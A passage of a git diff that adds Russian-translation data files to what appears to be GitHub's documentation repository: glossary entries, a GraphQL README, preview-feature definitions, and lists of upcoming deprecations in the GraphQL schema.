person may also be responsible for keeping the README and contributing files updated. +- term: required pull request review + description: >- + Required reviews ensure that pull requests have at least one approved review + before collaborators can make changes to a protected branch. +- term: required status check + description: >- + Checks on pull requests that ensure all required CI tests are passing before + collaborators can make changes to a protected branch. +- term: resolve + description: The action of fixing up manually what a failed automatic merge left behind. +- term: revert + description: >- + When you revert a pull request on GitHub, a new pull request is automatically opened, which has one commit that reverts the merge commit + from the original merged pull request. In Git, you can revert commits with `git revert`. +- term: review + description: >- + Reviews allow others with access to your repository to comment on the changes proposed in pull + requests, approve the changes, or request further changes before the pull + request is merged. +- term: root directory + description: The first directory in a hierarchy. +- term: root filesystem + description: The base operating system and the GitHub Enterprise application environment. +- term: saved reply + description: >- + A comment you can save and add to your GitHub user account so that you can + use it across GitHub in issues and pull requests. +- term: scope + description: >- + Named groups of permissions that an OAuth App can request to access both + public and non-public data. +- term: seat + description: >- + A user within a GitHub Enterprise organization. This may be referred to as + "seat count." +- term: secret team + description: >- + A team that is only visible to the other people on the team and people with owner + permissions. +- term: security log + description: >- + A log that lists the last 50 actions or those performed within the last 90 + days. +- term: server-to-server request + description: >- + An API request used by an application that acts as a bot, independently of any particular user. For example, an application that runs on a scheduled basis and closes issues where there has been no activity for a long time. Applications that use this type of authentication don't use a licensed GitHub account so, in an enterprise with a billing plan that allows a certain number of licenses to be used, a server-to-server bot is not consuming one of your GitHub licenses. The token used in a server-to-server request is acquired programmatically, via [the GitHub API](/rest/reference/apps#create-an-installation-access-token-for-an-app). See also, "[user-to-server request](#user-to-server-request)." +- term: service hook + description: >- + Also called "webhook." Webhooks provide a way for notifications to be + delivered to an external web server whenever certain actions occur on a + repository or organization. +- term: single sign-on + description: >- + Also called SSO. Allows users to sign in to a single location - an identity + provider (IdP) - that then gives the user access to other service providers. +- term: snapshot + description: A checkpoint of a virtual machine at a point in time. +- term: squash + description: To combine multiple commits into a single commit. Also a Git command. +- term: SSH key + description: >- + SSH keys are a way to identify yourself to an online server, using an encrypted message. It's as if your computer has its own unique password to another service. {% data variables.product.product_name %} uses SSH keys to securely transfer information to your computer. +- term: staging instance + description: >- + A way to test modifications before they are applied to your actual GitHub + Enterprise instance. +- term: status + description: >- + A visual representation within a pull request that your commits meet the + conditions set for the repository you're contributing to. +- term: status checks + description: >- + Status checks are external processes, such as continuous integration builds, which run for each commit you make in a repository. For more information, see "[About status checks](/articles/about-status-checks)." +- term: star + description: >- + A bookmark or display of appreciation for a repository. Stars are a manual + way to rank the popularity of projects. +- term: subscription + description: A user or organization's GitHub plan. +- term: team + description: >- + A group of organization members that reflect your company or group's + structure with cascading access permissions and mentions. +- term: team maintainer + description: >- + Organization members that have a subset of permissions available to + organization owners to manage teams. +- term: Team plan + description: >- + An organization billing plan that gives you unlimited public and private + repositories. +- term: timeline + description: A series of events in a pull request or on a user profile. +- term: topic branch + description: >- + A regular Git branch that is used by a developer to identify a conceptual + line of development. Since branches are very easy and inexpensive, it is + often desirable to have several small branches that each contain very well + defined concepts or small incremental yet related changes. Can also be called a feature branch. +- term: topics + description: >- + A way to explore repositories in a particular subject area, find projects to + contribute to, and discover new solutions to a specific problem on GitHub. +- term: traffic graph + description: >- + A repository graph that shows a repository's traffic, including full clones + (not fetches), visitors from the past 14 days, referring sites, and popular + content. +- term: transfer + description: >- + To transfer a repository means to change the owner of a repository. The new owner will be able to + immediately administer the repository's contents, issues, pull requests, + releases, and settings. +- term: upstream + description: >- + When talking about a branch or a fork, the primary branch on the original + repository is often referred to as the "upstream", since that is the main + place that other changes will come in from. The branch/fork you are working + on is then called the "downstream". Also called origin. +- term: upstream branch + description: >- + The default branch that is merged into the branch in question (or the branch + in question is rebased onto). It is configured via `branch..remote` and + `branch..merge`. If the upstream branch of A is origin/B sometimes we + say "A is tracking origin/B". +- term: user + description: >- + Users are people with personal GitHub accounts. Each user has a personal profile, and + can own multiple repositories, public or private. They can create or be + invited to join organizations or collaborate on another user's repository. +- term: username + description: A user's handle on GitHub. +- term: user-to-server request + description: >- + An API request used by an application that performs a task on behalf of a particular user. Where a task is carried out with user-to-server authentication it's shown on GitHub as having been done by a user via an application. For example, you might choose to create an issue from within a third-party application, and the application would do this on your behalf on GitHub. The scope of tasks an application can perform using a user-to-server request is restricted by both the app's and the user's permissions and access. The token used in a user-to-server request is acquired via OAuth. For more information, see "[Identifying and authorizing users for GitHub Apps](/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps)." See also, "[server-to-server request](#server-to-server-request)." +- term: visible team + description: A team that can be viewed and @mentioned by every organization member. +- term: watch + description: >- + You can watch a repository or issue to receive notifications when updates are made to an issue or pull request. +- term: watching notifications + description: A notification about activity in a repository a user has subscribed to. +- term: web notifications + description: >- + Notifications displayed in the web interface on GitHub: + https://github.com/notifications +- term: webhooks + description: >- + Webhooks allow you to build or set up GitHub Apps which subscribe to certain + events on GitHub.com. Webhooks provide a way for notifications to be + delivered to an external web server whenever certain actions occur on a + repository or organization. Also called a service hook. +- term: write access + description: >- + A permission level on a repository that allows the user to push, or write, + changes to the repository. diff --git a/translations/ru-RU/data/graphql/README.md b/translations/ru-RU/data/graphql/README.md new file mode 100644 index 000000000000..9dda534f2d63 --- /dev/null +++ b/translations/ru-RU/data/graphql/README.md @@ -0,0 +1,25 @@ +--- +ms.openlocfilehash: e4f07f4dfee78e7015b6da99041ff644bfad9939 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141525673" +--- +# GraphQL + +Файлы в этом каталоге синхронизируются с аналогичными файлами в `github/github` с помощью [автоматизации](../script/graphql/README.md). Эти файлы **не должны** редактироваться человеком. + +Исходные файлы Dotcom: +``` +config/schema.docs.graphql +config/graphql_previews.yml +graphql_upcoming_changes.yml +``` + +Исходные файлы предприятия: +``` +enterprise-VERSION-release/config/schema.docs-enterprise.graphql +enterprise-VERSION-release/config/graphql_previews.enterprise.yml +enterprise-VERSION-release/config/graphql_upcoming_changes.public-enterprise.yml +``` diff --git a/translations/ru-RU/data/graphql/ghae/graphql_upcoming_changes.public-ghae.yml b/translations/ru-RU/data/graphql/ghae/graphql_upcoming_changes.public-ghae.yml new file mode 100644 index 000000000000..f1b7d839502b --- /dev/null +++ b/translations/ru-RU/data/graphql/ghae/graphql_upcoming_changes.public-ghae.yml @@ -0,0 +1,110 @@ +### YamlMime:Yaml +ms.openlocfilehash: 6aac12f52762d20ae022d06f4e1482726d7d27c2 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141520798" +upcoming_changes: +- location: LegacyMigration.uploadUrlTemplate + description: '`uploadUrlTemplate` будет удалено. Взамен рекомендуется использовать `uploadUrl`.' + reason: '`uploadUrlTemplate` is being removed because it is not a standard URL and adds an extra user step.' + date: 2019-04-01T00:00:00+00:00 + criticality: breaking + owner: tambling +- location: AssignedEvent.user + description: '`user` будет удалено. Вместо него используйте поле `assignee`.' + reason: Assignees can now be mannequins. + date: 2020-01-01T00:00:00+00:00 + criticality: breaking + owner: tambling +- location: EnterpriseBillingInfo.availableSeats + description: '`availableSeats` будет удалено. Вместо него используйте EnterpriseBillingInfo.totalAvailableLicenses.' + reason: '`availableSeats` will be replaced with `totalAvailableLicenses` to provide more clarity on the value being returned' + date: 2020-01-01T00:00:00+00:00 + criticality: breaking + owner: BlakeWilliams +- location: EnterpriseBillingInfo.seats + description: '`seats` будет удалено. Вместо него используйте EnterpriseBillingInfo.totalLicenses.' + reason: '`seats` will be replaced with `totalLicenses` to provide more clarity on the value being returned' + date: 2020-01-01T00:00:00+00:00 + criticality: breaking + owner: BlakeWilliams +- location: UnassignedEvent.user + description: '`user` будет удалено. Вместо него него используйте поле `assignee`.' + reason: Assignees can now be mannequins. + date: 2020-01-01T00:00:00+00:00 + criticality: breaking + owner: tambling +- location: EnterprisePendingMemberInvitationEdge.isUnlicensed + description: '`isUnlicensed` будет удалено.' + reason: All pending members consume a license + date: 2020-07-01T00:00:00+00:00 + criticality: breaking + owner: BrentWheeldon +- location: Issue.timeline + description: '`timeline` будет удалено. Вместо него используйте Issue.timelineItems.' + reason: '`timeline` will be removed' + date: 2020-10-01T00:00:00+00:00 + criticality: breaking + owner: mikesea +- location: PullRequest.timeline + description: '`timeline` будет удалено. Вместо него используйте PullRequest.timelineItems.' + reason: '`timeline` will be removed' + date: 2020-10-01T00:00:00+00:00 + criticality: breaking + owner: mikesea +- location: EnterpriseMemberEdge.isUnlicensed + description: '`isUnlicensed` будет удалено.' + reason: All members consume a license + date: 2021-01-01T00:00:00+00:00 + criticality: breaking + owner: BrentWheeldon +- location: EnterpriseOutsideCollaboratorEdge.isUnlicensed + description: '`isUnlicensed` будет удалено.' + reason: All outside collaborators consume a license + date: 2021-01-01T00:00:00+00:00 + criticality: breaking + owner: BrentWheeldon +- location: MergeStateStatus.DRAFT + description: '`DRAFT` будет удалено. Вместо него используйте PullRequest.isDraft.' + reason: DRAFT state will be removed from this enum and `isDraft` should be used instead + date: 2021-01-01T00:00:00+00:00 + criticality: breaking + owner: nplasterer +- location: PackageType.DOCKER + description: '`DOCKER` будет удалено.' + reason: DOCKER will be removed from this enum as this type will be migrated to only be used by the Packages REST API. + date: 2021-06-21 + criticality: breaking + owner: reybard +- location: ReactionGroup.users + description: '`users` будет удалено. Вместо него используйте поле `reactors`.' + reason: Reactors can now be mannequins, bots, and organizations. + date: 2021-10-01T00:00:00+00:00 + criticality: breaking + owner: synthead +- location: PullRequest.viewerCanOverrideMergeQueue + description: '`viewerCanOverrideMergeQueue` будет удалено. Вместо него используйте PullRequest.viewerCanMergeAsAdmin.' + reason: '`viewer_can_override_merge_queue` will be removed' + date: 2022-04-01 + criticality: breaking + owner: cbeaman +- location: Repository.defaultMergeQueue + description: '`defaultMergeQueue` будет удалено. Взамен рекомендуется использовать `Repository.mergeQueue`.' + reason: '`defaultMergeQueue` will be removed.' + date: 2022-04-01 + criticality: breaking + owner: colinshum +- location: AddPullRequestToMergeQueueInput.branch + description: '`branch` будет удалено.' + reason: PRs are added to the merge queue for the base branch, the `branch` argument is now a no-op + date: 2022-07-01T00:00:00+00:00 + criticality: breaking + owner: jhunschejones +- location: Enterprise.userAccounts + description: '`userAccounts` будет удалено. Вместо него используйте поле `Enterprise.members`.' + reason: The `Enterprise.userAccounts` field is being removed. + date: 2022-07-01T00:00:00+00:00 + criticality: breaking + owner: jdennes diff --git a/translations/ru-RU/data/graphql/ghec/graphql_upcoming_changes.public.yml b/translations/ru-RU/data/graphql/ghec/graphql_upcoming_changes.public.yml new file mode 100644 index 000000000000..1724aa7d80e1 --- /dev/null +++ b/translations/ru-RU/data/graphql/ghec/graphql_upcoming_changes.public.yml @@ -0,0 +1,128 @@ +### YamlMime:Yaml +ms.openlocfilehash: fd62e0ea894c65226145dab0fdd37e7cafce98c0 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141524886" +upcoming_changes: +- location: LegacyMigration.uploadUrlTemplate + description: '`uploadUrlTemplate` будет удален. Взамен рекомендуется использовать `uploadUrl`.' + reason: '`uploadUrlTemplate` is being removed because it is not a standard URL and adds an extra user step.' + date: 2019-04-01T00:00:00+00:00 + criticality: breaking + owner: tambling +- location: AssignedEvent.user + description: '`user` будет удален. Взамен используйте поле `assignee`.' + reason: Assignees can now be mannequins. + date: 2020-01-01T00:00:00+00:00 + criticality: breaking + owner: tambling +- location: EnterpriseBillingInfo.availableSeats + description: '`availableSeats` будет удален. Взамен используйте EnterpriseBillingInfo.totalAvailableLicenses.' + reason: '`availableSeats` will be replaced with `totalAvailableLicenses` to provide more clarity on the value being returned' + date: 2020-01-01T00:00:00+00:00 + criticality: breaking + owner: BlakeWilliams +- location: EnterpriseBillingInfo.seats + description: '`seats` будет удален. Взамен используйте EnterpriseBillingInfo.totalLicenses.' + reason: '`seats` will be replaced with `totalLicenses` to provide more clarity on the value being returned' + date: 2020-01-01T00:00:00+00:00 + criticality: breaking + owner: BlakeWilliams +- location: UnassignedEvent.user + description: '`user` будет удален. Взамен используйте поле `assignee`.' + reason: Assignees can now be mannequins. + date: 2020-01-01T00:00:00+00:00 + criticality: breaking + owner: tambling +- location: Sponsorship.maintainer + description: '`maintainer` будет удален. Взамен рекомендуется использовать `Sponsorship.sponsorable`.' + reason: '`Sponsorship.maintainer` will be removed.' + date: 2020-04-01T00:00:00+00:00 + criticality: breaking + owner: antn +- location: EnterprisePendingMemberInvitationEdge.isUnlicensed + description: '`isUnlicensed` будет удален.' + reason: All pending members consume a license + date: 2020-07-01T00:00:00+00:00 + criticality: breaking + owner: BrentWheeldon +- location: Issue.timeline + description: '`timeline` будет удален. Взамен используйте Issue.timelineItems.' + reason: '`timeline` will be removed' + date: 2020-10-01T00:00:00+00:00 + criticality: breaking + owner: mikesea +- location: PullRequest.timeline + description: '`timeline` будет удален. Взамен используйте PullRequest.timelineItems.' + reason: '`timeline` will be removed' + date: 2020-10-01T00:00:00+00:00 + criticality: breaking + owner: mikesea +- location: Sponsorship.sponsor + description: '`sponsor` будет удален. Взамен рекомендуется использовать `Sponsorship.sponsorEntity`.' + reason: '`Sponsorship.sponsor` will be removed.' + date: 2020-10-01T00:00:00+00:00 + criticality: breaking + owner: nholden +- location: EnterpriseMemberEdge.isUnlicensed + description: '`isUnlicensed` будет удален.' + reason: All members consume a license + date: 2021-01-01T00:00:00+00:00 + criticality: breaking + owner: BrentWheeldon +- location: EnterpriseOutsideCollaboratorEdge.isUnlicensed + description: '`isUnlicensed` будет удален.' + reason: All outside collaborators consume a license + date: 2021-01-01T00:00:00+00:00 + criticality: breaking + owner: BrentWheeldon +- location: MergeStateStatus.DRAFT + description: '`DRAFT` будет удален. Взамен используйте PullRequest.isDraft.' + reason: DRAFT state will be removed from this enum and `isDraft` should be used instead + date: 2021-01-01T00:00:00+00:00 + criticality: breaking + owner: nplasterer +- location: PackageType.DOCKER + description: '`DOCKER` будет удален.' + reason: DOCKER will be removed from this enum as this type will be migrated to only be used by the Packages REST API. + date: 2021-06-21 + criticality: breaking + owner: reybard +- location: ReactionGroup.users + description: '`users` будет удален. Взамен используйте поле `reactors`.' + reason: Reactors can now be mannequins, bots, and organizations. + date: 2021-10-01T00:00:00+00:00 + criticality: breaking + owner: synthead +- location: PullRequest.viewerCanOverrideMergeQueue + description: '`viewerCanOverrideMergeQueue` будет удален. Взамен используйте PullRequest.viewerCanMergeAsAdmin.' + reason: '`viewer_can_override_merge_queue` will be removed' + date: 2022-04-01 + criticality: breaking + owner: cbeaman +- location: Repository.defaultMergeQueue + description: '`defaultMergeQueue` будет удален. Взамен рекомендуется использовать `Repository.mergeQueue`.' + reason: '`defaultMergeQueue` will be removed.' + date: 2022-04-01 + criticality: breaking + owner: colinshum +- location: AddPullRequestToMergeQueueInput.branch + description: '`branch` будет удален.' + reason: PRs are added to the merge queue for the base branch, the `branch` argument is now a no-op + date: 2022-07-01T00:00:00+00:00 + criticality: breaking + owner: jhunschejones +- location: Enterprise.userAccounts + description: '`userAccounts` будет удален. Взамен используйте поле `Enterprise.members`.' + reason: The `Enterprise.userAccounts` field is being removed. + date: 2022-07-01T00:00:00+00:00 + criticality: breaking + owner: jdennes +- location: Query.sponsorables.dependencyEcosystem + description: '`dependencyEcosystem` будет удален. Взамен используйте аргумент экосистемы.' + reason: The type is switching from SecurityAdvisoryEcosystem to DependencyGraphEcosystem. + date: 2022-07-01T00:00:00+00:00 + criticality: breaking + owner: cheshire137 diff --git a/translations/ru-RU/data/graphql/ghes-3.3/graphql_upcoming_changes.public-enterprise.yml b/translations/ru-RU/data/graphql/ghes-3.3/graphql_upcoming_changes.public-enterprise.yml new file mode 100644 index 000000000000..c8fa7da842c2 --- /dev/null +++ b/translations/ru-RU/data/graphql/ghes-3.3/graphql_upcoming_changes.public-enterprise.yml @@ -0,0 +1,104 @@ +### YamlMime:Yaml +ms.openlocfilehash: 419dfa144ecbbb4026858396015437ca430408b2 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141532422" +upcoming_changes: +- location: LegacyMigration.uploadUrlTemplate + description: '`uploadUrlTemplate` будет удален. Взамен рекомендуется использовать `uploadUrl`.' + reason: '`uploadUrlTemplate` is being removed because it is not a standard URL and adds an extra user step.' + date: 2019-04-01T00:00:00+00:00 + criticality: breaking + owner: tambling +- location: AssignedEvent.user + description: '`user` будет удален. Взамен используйте поле `assignee`.' + reason: Assignees can now be mannequins. + date: 2020-01-01T00:00:00+00:00 + criticality: breaking + owner: tambling +- location: EnterpriseBillingInfo.availableSeats + description: '`availableSeats` будет удален. Взамен используйте EnterpriseBillingInfo.totalAvailableLicenses.' + reason: '`availableSeats` will be replaced with `totalAvailableLicenses` to provide more clarity on the value being returned' + date: 2020-01-01T00:00:00+00:00 + criticality: breaking + owner: BlakeWilliams +- location: EnterpriseBillingInfo.seats + description: '`seats` будет удален. Взамен используйте EnterpriseBillingInfo.totalLicenses.' + reason: '`seats` will be replaced with `totalLicenses` to provide more clarity on the value being returned' + date: 2020-01-01T00:00:00+00:00 + criticality: breaking + owner: BlakeWilliams +- location: UnassignedEvent.user + description: '`user` будет удален. Взамен используйте поле `assignee`.' + reason: Assignees can now be mannequins. + date: 2020-01-01T00:00:00+00:00 + criticality: breaking + owner: tambling +- location: EnterprisePendingMemberInvitationEdge.isUnlicensed + description: '`isUnlicensed` будет удален.' + reason: All pending members consume a license + date: 2020-07-01T00:00:00+00:00 + criticality: breaking + owner: BrentWheeldon +- location: EnterpriseOwnerInfo.pendingCollaborators + description: '`pendingCollaborators` будет удален. Взамен используйте поле `pendingCollaboratorInvitations`.' + reason: Repository invitations can now be associated with an email, not only an invitee. + date: 2020-10-01T00:00:00+00:00 + criticality: breaking + owner: jdennes +- location: Issue.timeline + description: '`timeline` будет удален. Взамен используйте Issue.timelineItems.' + reason: '`timeline` will be removed' + date: 2020-10-01T00:00:00+00:00 + criticality: breaking + owner: mikesea +- location: PullRequest.timeline + description: '`timeline` будет удален. Взамен используйте PullRequest.timelineItems.' + reason: '`timeline` will be removed' + date: 2020-10-01T00:00:00+00:00 + criticality: breaking + owner: mikesea +- location: RepositoryInvitationOrderField.INVITEE_LOGIN + description: '`INVITEE_LOGIN` будет удален.' + reason: '`INVITEE_LOGIN` is no longer a valid field value. Repository invitations can now be associated with an email, not only an invitee.' + date: 2020-10-01T00:00:00+00:00 + criticality: breaking + owner: jdennes +- location: EnterpriseMemberEdge.isUnlicensed + description: '`isUnlicensed` будет удален.' + reason: All members consume a license + date: 2021-01-01T00:00:00+00:00 + criticality: breaking + owner: BrentWheeldon +- location: EnterpriseOutsideCollaboratorEdge.isUnlicensed + description: '`isUnlicensed` будет удален.' + reason: All outside collaborators consume a license + date: 2021-01-01T00:00:00+00:00 + criticality: breaking + owner: BrentWheeldon +- location: EnterprisePendingCollaboratorEdge.isUnlicensed + description: '`isUnlicensed` будет удален.' + reason: All pending collaborators consume a license + date: 2021-01-01T00:00:00+00:00 + criticality: breaking + owner: BrentWheeldon +- location: MergeStateStatus.DRAFT + description: '`DRAFT` будет удален. Взамен используйте PullRequest.isDraft.' + reason: DRAFT state will be removed from this enum and `isDraft` should be used instead + date: 2021-01-01T00:00:00+00:00 + criticality: breaking + owner: nplasterer +- location: PackageType.DOCKER + description: '`DOCKER` будет удален.' + reason: DOCKER will be removed from this enum as this type will be migrated to only be used by the Packages REST API. + date: 2021-06-21 + criticality: breaking + owner: reybard +- location: ReactionGroup.users + description: '`users` будет удален. Взамен используйте поле `reactors`.' + reason: Reactors can now be mannequins, bots, and organizations. + date: 2021-10-01T00:00:00+00:00 + criticality: breaking + owner: synthead diff --git a/translations/ru-RU/data/graphql/ghes-3.4/graphql_upcoming_changes.public-enterprise.yml b/translations/ru-RU/data/graphql/ghes-3.4/graphql_upcoming_changes.public-enterprise.yml new file mode 100644 index 000000000000..e565700dc94f --- /dev/null +++ b/translations/ru-RU/data/graphql/ghes-3.4/graphql_upcoming_changes.public-enterprise.yml @@ -0,0 +1,104 @@ +### YamlMime:Yaml +ms.openlocfilehash: 419dfa144ecbbb4026858396015437ca430408b2 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141532414" +upcoming_changes: +- location: LegacyMigration.uploadUrlTemplate + description: '`uploadUrlTemplate` будет удален. Взамен рекомендуется использовать `uploadUrl`.' + reason: '`uploadUrlTemplate` is being removed because it is not a standard URL and adds an extra user step.' + date: 2019-04-01T00:00:00+00:00 + criticality: breaking + owner: tambling +- location: AssignedEvent.user + description: '`user` будет удален. Взамен используйте поле `assignee`.' + reason: Assignees can now be mannequins. + date: 2020-01-01T00:00:00+00:00 + criticality: breaking + owner: tambling +- location: EnterpriseBillingInfo.availableSeats + description: '`availableSeats` будет удален. Взамен используйте EnterpriseBillingInfo.totalAvailableLicenses.' + reason: '`availableSeats` will be replaced with `totalAvailableLicenses` to provide more clarity on the value being returned' + date: 2020-01-01T00:00:00+00:00 + criticality: breaking + owner: BlakeWilliams +- location: EnterpriseBillingInfo.seats + description: '`seats` будет удален. Взамен используйте EnterpriseBillingInfo.totalLicenses.' + reason: '`seats` will be replaced with `totalLicenses` to provide more clarity on the value being returned' + date: 2020-01-01T00:00:00+00:00 + criticality: breaking + owner: BlakeWilliams +- location: UnassignedEvent.user + description: '`user` будет удален. Взамен используйте поле `assignee`.' + reason: Assignees can now be mannequins. + date: 2020-01-01T00:00:00+00:00 + criticality: breaking + owner: tambling +- location: EnterprisePendingMemberInvitationEdge.isUnlicensed + description: '`isUnlicensed` будет удален.' + reason: All pending members consume a license + date: 2020-07-01T00:00:00+00:00 + criticality: breaking + owner: BrentWheeldon +- location: EnterpriseOwnerInfo.pendingCollaborators + description: '`pendingCollaborators` будет удален. Взамен используйте поле `pendingCollaboratorInvitations`.' + reason: Repository invitations can now be associated with an email, not only an invitee. + date: 2020-10-01T00:00:00+00:00 + criticality: breaking + owner: jdennes +- location: Issue.timeline + description: '`timeline` будет удален. Взамен используйте Issue.timelineItems.' + reason: '`timeline` will be removed' + date: 2020-10-01T00:00:00+00:00 + criticality: breaking + owner: mikesea +- location: PullRequest.timeline + description: '`timeline` будет удален. Взамен используйте PullRequest.timelineItems.' + reason: '`timeline` will be removed' + date: 2020-10-01T00:00:00+00:00 + criticality: breaking + owner: mikesea +- location: RepositoryInvitationOrderField.INVITEE_LOGIN + description: '`INVITEE_LOGIN` будет удален.' + reason: '`INVITEE_LOGIN` is no longer a valid field value. Repository invitations can now be associated with an email, not only an invitee.' + date: 2020-10-01T00:00:00+00:00 + criticality: breaking + owner: jdennes +- location: EnterpriseMemberEdge.isUnlicensed + description: '`isUnlicensed` будет удален.' + reason: All members consume a license + date: 2021-01-01T00:00:00+00:00 + criticality: breaking + owner: BrentWheeldon +- location: EnterpriseOutsideCollaboratorEdge.isUnlicensed + description: '`isUnlicensed` будет удален.' + reason: All outside collaborators consume a license + date: 2021-01-01T00:00:00+00:00 + criticality: breaking + owner: BrentWheeldon +- location: EnterprisePendingCollaboratorEdge.isUnlicensed + description: '`isUnlicensed` будет удален.' + reason: All pending collaborators consume a license + date: 2021-01-01T00:00:00+00:00 + criticality: breaking + owner: BrentWheeldon +- location: MergeStateStatus.DRAFT + description: '`DRAFT` будет удален. Взамен используйте PullRequest.isDraft.' + reason: DRAFT state will be removed from this enum and `isDraft` should be used instead + date: 2021-01-01T00:00:00+00:00 + criticality: breaking + owner: nplasterer +- location: PackageType.DOCKER + description: '`DOCKER` будет удален.' + reason: DOCKER will be removed from this enum as this type will be migrated to only be used by the Packages REST API. + date: 2021-06-21 + criticality: breaking + owner: reybard +- location: ReactionGroup.users + description: '`users` будет удален. Взамен используйте поле `reactors`.' + reason: Reactors can now be mannequins, bots, and organizations. + date: 2021-10-01T00:00:00+00:00 + criticality: breaking + owner: synthead diff --git a/translations/ru-RU/data/graphql/graphql_previews.yml b/translations/ru-RU/data/graphql/graphql_previews.yml new file mode 100644 index 000000000000..817a60bda78f --- /dev/null +++ b/translations/ru-RU/data/graphql/graphql_previews.yml @@ -0,0 +1,124 @@ +- title: Доступ к удалению версии пакета + description: 'В этой предварительной версии добавлена поддержка изменения DeletePackageVersion, которое позволяет удалять версии частных пакетов.' + toggled_by: ':package-deletes-preview' + announcement: null + updates: null + toggled_on: + - Mutation.deletePackageVersion + owning_teams: + - '@github/pe-package-registry' +- title: Развернутые приложения + description: В этой предварительной версии добавлена поддержка изменений развертывания и новых функций развертывания. + toggled_by: ':flash-preview' + announcement: null + updates: null + toggled_on: + - DeploymentStatus.environment + - Mutation.createDeploymentStatus + - CreateDeploymentStatusInput + - CreateDeploymentStatusPayload + - Mutation.createDeployment + - CreateDeploymentInput + - CreateDeploymentPayload + owning_teams: + - '@github/c2c-actions-service' +- title: "MergeInfoPreview\_— более подробные сведения о состоянии слияния для запроса на вытягивание." + description: 'В этой предварительной версии добавлена поддержка доступа к полям, предоставляющим более подробные сведения о состоянии слияния для запроса на вытягивание.' + toggled_by: ':merge-info-preview' + announcement: null + updates: null + toggled_on: + - PullRequest.canBeRebased + - PullRequest.mergeStateStatus + owning_teams: + - '@github/pe-pull-requests' +- title: "UpdateRefsPreview\_— обновление нескольких ссылок в одной операции." + description: В этой предварительной версии добавлена поддержка обновления нескольких ссылок в одной операции. + toggled_by: ':update-refs-preview' + announcement: null + updates: null + toggled_on: + - Mutation.updateRefs + - GitRefname + - RefUpdate + - UpdateRefsInput + - UpdateRefsPayload + owning_teams: + - '@github/reponauts' +- title: Доступ к графу зависимостей репозиториев + description: В этой предварительной версии добавлена поддержка чтения графа зависимостей для репозитория. + toggled_by: ':hawkgirl-preview' + announcement: null + updates: null + toggled_on: + - DependencyGraphManifest + - Repository.dependencyGraphManifests + - DependencyGraphManifestEdge + - DependencyGraphManifestConnection + - DependencyGraphDependency + - DependencyGraphDependencyEdge + - DependencyGraphDependencyConnection + - DependencyGraphPackageRelease.dependencies + owning_teams: + - '@github/dsp-dependency-graph' +- title: Сведения о событиях проекта + description: 'В этой предварительной версии добавлены сведения о проекте, карточке проекта и столбце проекта в число событий, связанных с проблемами проекта.' + toggled_by: ':starfox-preview' + announcement: null + updates: null + toggled_on: + - AddedToProjectEvent.project + - AddedToProjectEvent.projectCard + - AddedToProjectEvent.projectColumnName + - ConvertedNoteToIssueEvent.project + - ConvertedNoteToIssueEvent.projectCard + - ConvertedNoteToIssueEvent.projectColumnName + - MovedColumnsInProjectEvent.project + - MovedColumnsInProjectEvent.projectCard + - MovedColumnsInProjectEvent.projectColumnName + - MovedColumnsInProjectEvent.previousProjectColumnName + - RemovedFromProjectEvent.project + - RemovedFromProjectEvent.projectColumnName + owning_teams: + - '@github/github-projects' +- title: Метки (предварительная версия) + description: 'В этой предварительной версии добавлена поддержка добавления, обновления, создания и удаления меток.' + toggled_by: ':bane-preview' + announcement: null + updates: null + toggled_on: + - Mutation.createLabel + - CreateLabelPayload + - CreateLabelInput + - Mutation.deleteLabel + - DeleteLabelPayload + - DeleteLabelInput + - Mutation.updateLabel + - UpdateLabelPayload + - UpdateLabelInput + owning_teams: + - '@github/pe-pull-requests' +- title: Импорт проекта + description: В этой предварительной версии добавлена поддержка импорта проектов. + toggled_by: ':slothette-preview' + announcement: null + updates: null + toggled_on: + - Mutation.importProject + owning_teams: + - '@github/pe-issues-projects' +- title: Назначения проверки команды (предварительная версия) + description: В этой предварительной версии добавлена поддержка обновления параметров для назначений проверки команды. + toggled_by: ':stone-crop-preview' + announcement: null + updates: null + toggled_on: + - Mutation.updateTeamReviewAssignment + - UpdateTeamReviewAssignmentInput + - TeamReviewAssignmentAlgorithm + - Team.reviewRequestDelegationEnabled + - Team.reviewRequestDelegationAlgorithm + - Team.reviewRequestDelegationMemberCount + - Team.reviewRequestDelegationNotifyTeam + owning_teams: + - '@github/pe-pull-requests' \ No newline at end of file diff --git a/translations/ru-RU/data/graphql/graphql_upcoming_changes.public.yml b/translations/ru-RU/data/graphql/graphql_upcoming_changes.public.yml new file mode 100644 index 000000000000..91407b38d9dd --- /dev/null +++ b/translations/ru-RU/data/graphql/graphql_upcoming_changes.public.yml @@ -0,0 +1,128 @@ +### YamlMime:Yaml +ms.openlocfilehash: fd62e0ea894c65226145dab0fdd37e7cafce98c0 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141524878" +upcoming_changes: +- location: LegacyMigration.uploadUrlTemplate + description: '`uploadUrlTemplate` будет удален. Взамен рекомендуется использовать `uploadUrl`.' + reason: '`uploadUrlTemplate` is being removed because it is not a standard URL and adds an extra user step.' + date: 2019-04-01T00:00:00+00:00 + criticality: breaking + owner: tambling +- location: AssignedEvent.user + description: '`user` будет удален. Взамен используйте поле `assignee`.' + reason: Assignees can now be mannequins. + date: 2020-01-01T00:00:00+00:00 + criticality: breaking + owner: tambling +- location: EnterpriseBillingInfo.availableSeats + description: '`availableSeats` будет удален. Взамен используйте EnterpriseBillingInfo.totalAvailableLicenses.' + reason: '`availableSeats` will be replaced with `totalAvailableLicenses` to provide more clarity on the value being returned' + date: 2020-01-01T00:00:00+00:00 + criticality: breaking + owner: BlakeWilliams +- location: EnterpriseBillingInfo.seats + description: 